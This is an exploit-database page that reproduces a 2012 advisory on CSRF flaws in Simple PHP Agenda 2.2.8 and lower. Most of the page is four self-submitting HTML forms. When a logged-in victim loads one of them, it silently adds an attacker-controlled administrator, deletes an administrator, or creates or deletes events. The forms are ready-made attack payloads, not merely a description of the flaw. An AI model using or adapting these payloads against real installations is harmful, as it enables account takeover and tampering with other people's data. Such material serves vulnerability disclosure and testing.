Simple PHP Agenda <= 2.2.8 CSRF (Add Admin - Add Event)

2014-07-0100:00:00
Root
www.seebug.org
0.013 Low
EPSS
Percentile
86.1%
JSON
No description provided by source.

                                                                                                                     
                                                                     
                                                                     
                                             
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title       : Simple PHP Agenda &#60;= 2.2.8 CSRF (Add Admin - Add Event)
# Date                : 29-03-2012
# Author              : Ivano Binetti (http://ivanobinetti.com)
# Software link       : http://sourceforge.net/projects/php-agenda/files/latest/download
# Version             : 2.2.8 and lower 
# Tested on           : Debian Squeeze (6.0) 
# Original Advisory   : http://www.webapp-security.com/2012/03/simple-php-agenda/
# CVE                 : CVE-2012-1978
# OSVDB-ID            : 80793
# Secunia Advisory ID : 48685 
# Other Advisory      : http://packetstormsecurity.org/files/111408/Simple-PHP-Agenda-2.2.8-Cross-Site-Request-Forgery.html
+--------------------------------------------------------------------------------------------------------------------------------+
Summary
1)Introduction
2)Vulnerabilities Description
3)Exploit
  3.1 Add Administrator 
  3.2 Delete Existing Administrator
  3.3 Add a New Event
  3.4 Delete an Existing Event
+--------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
Simple Php Agenda is &#34;a simple agenda tool written in PHP with MySQL backend. An agenda tool accessible everywere there&#39;s 
internet&#34;.

2)Vulnerabilities Description
Simple Php Agenda 2.2.8  (and lower) is affected by a CSRF Vulnerability which allows an attacker to add a new administrator,
delete an existing administrator, create/delete a new event and change any other parameters. In this document I will only 
demonstrate how to: 
- add a new administrator
- delete a existing administrator
- add a new event
- delete an existing event.
Other parameters can be also modified.

3)Exploit 
 3.1 Add Administrator
 &#60;html&#62;
 &#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62;
 &#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://&#60;Simple_Php_Agenda_ip&#62;:80/auth/process.php&#34;&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;user&#34; value=&#34;newadmin&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;pass&#34; value=&#34;password&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;email&#34; value=&#34;[email protected]&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;subjoin&#34; value=&#34;1&#34;/&#62;
 &#60;/form&#62;
 &#60;/body&#62;
 &#60;/html&#62;

  
 3.2 Delete Existing Administrator
 &#60;html&#62;
 &#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62;
 &#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://&#60;Simple_Php_Agenda_ip&#62;:80/auth/admin/adminprocess.php&#34;&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;deluser&#34; value=&#34;pippo2&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;subdeluser&#34; value=&#34;1&#34;/&#62;
 &#60;/form&#62;
 &#60;/body&#62;
 &#60;/html&#62;

 3.3 Add a New Event
 &#60;html&#62;
 &#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62;
 &#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://&#60;Simple_Php_Agenda_ip&#62;:80/engine/new_event.php&#34;&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;date&#34; value=&#34;2012-03-30&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;time&#34; value=&#34;16%3A30&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;title&#34; value=&#34;new_event_title&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;description&#34; value=&#34;event_description&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;newEvent&#34; value=&#34;Aggiungi+evento&#34;/&#62;
 &#60;/form&#62;
 &#60;/body&#62;
 &#60;/html&#62;

 3.4 Delete an Existing Event
 &#60;html&#62;
 &#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62;
 &#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://&#60;Simple_Php_Agenda_ip&#62;:80/phpagenda/?deleteEvent=2&#34;&#62;
 &#60;/form&#62;
 &#60;/body&#62;
 &#60;/html&#62;
+--------------------------------------------------------------------------------------------------------------------------------+
0.013 Low
EPSS
Percentile
86.1%
JSON
Related for SSV:72749